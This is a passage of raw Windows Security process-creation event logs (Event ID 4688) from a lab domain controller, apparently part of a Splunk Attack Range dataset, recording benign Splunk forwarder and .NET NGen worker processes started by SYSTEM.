administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254642 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd20 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254641 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd10 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 464 -InterruptEvent 0 -NGENProcess 238 -Pipe 660 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254640 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd58 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 6fc -InterruptEvent 0 -NGENProcess 260 -Pipe 640 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254639 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5cc - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254638 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1200 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 794 -InterruptEvent 0 -NGENProcess 238 -Pipe 2d4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254637 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe50 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 260 -InterruptEvent 0 -NGENProcess 648 -Pipe 300 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254645 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1380 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254644 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12dc - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 77c -InterruptEvent 0 -NGENProcess 588 -Pipe 794 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254643 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x103c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 4d0 -InterruptEvent 0 -NGENProcess 6fc -Pipe 2cc -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:15 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254650 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10dc - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 214 -InterruptEvent 0 -NGENProcess 238 -Pipe 648 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:15 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254649 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13e4 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 448 -InterruptEvent 0 -NGENProcess 588 -Pipe 620 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:15 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254648 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x35c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 238 -InterruptEvent 0 -NGENProcess 2dc -Pipe 744 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:15 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254647 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1268 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 4d0 -InterruptEvent 0 -NGENProcess 588 -Pipe 6fc -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:15 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254646 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x638 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 448 -InterruptEvent 0 -NGENProcess 620 -Pipe 230 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254651 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4a8 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 538 -InterruptEvent 0 -NGENProcess 588 -Pipe 464 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:17 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254653 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xca4 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2a8 -InterruptEvent 0 -NGENProcess 4d0 -Pipe 448 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:17 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254652 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xac8 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 238 -InterruptEvent 0 -NGENProcess 2dc -Pipe 214 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:18 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254654 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10c4 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2ac -InterruptEvent 0 -NGENProcess 438 -Pipe 728 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:19 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254655 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x900 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: 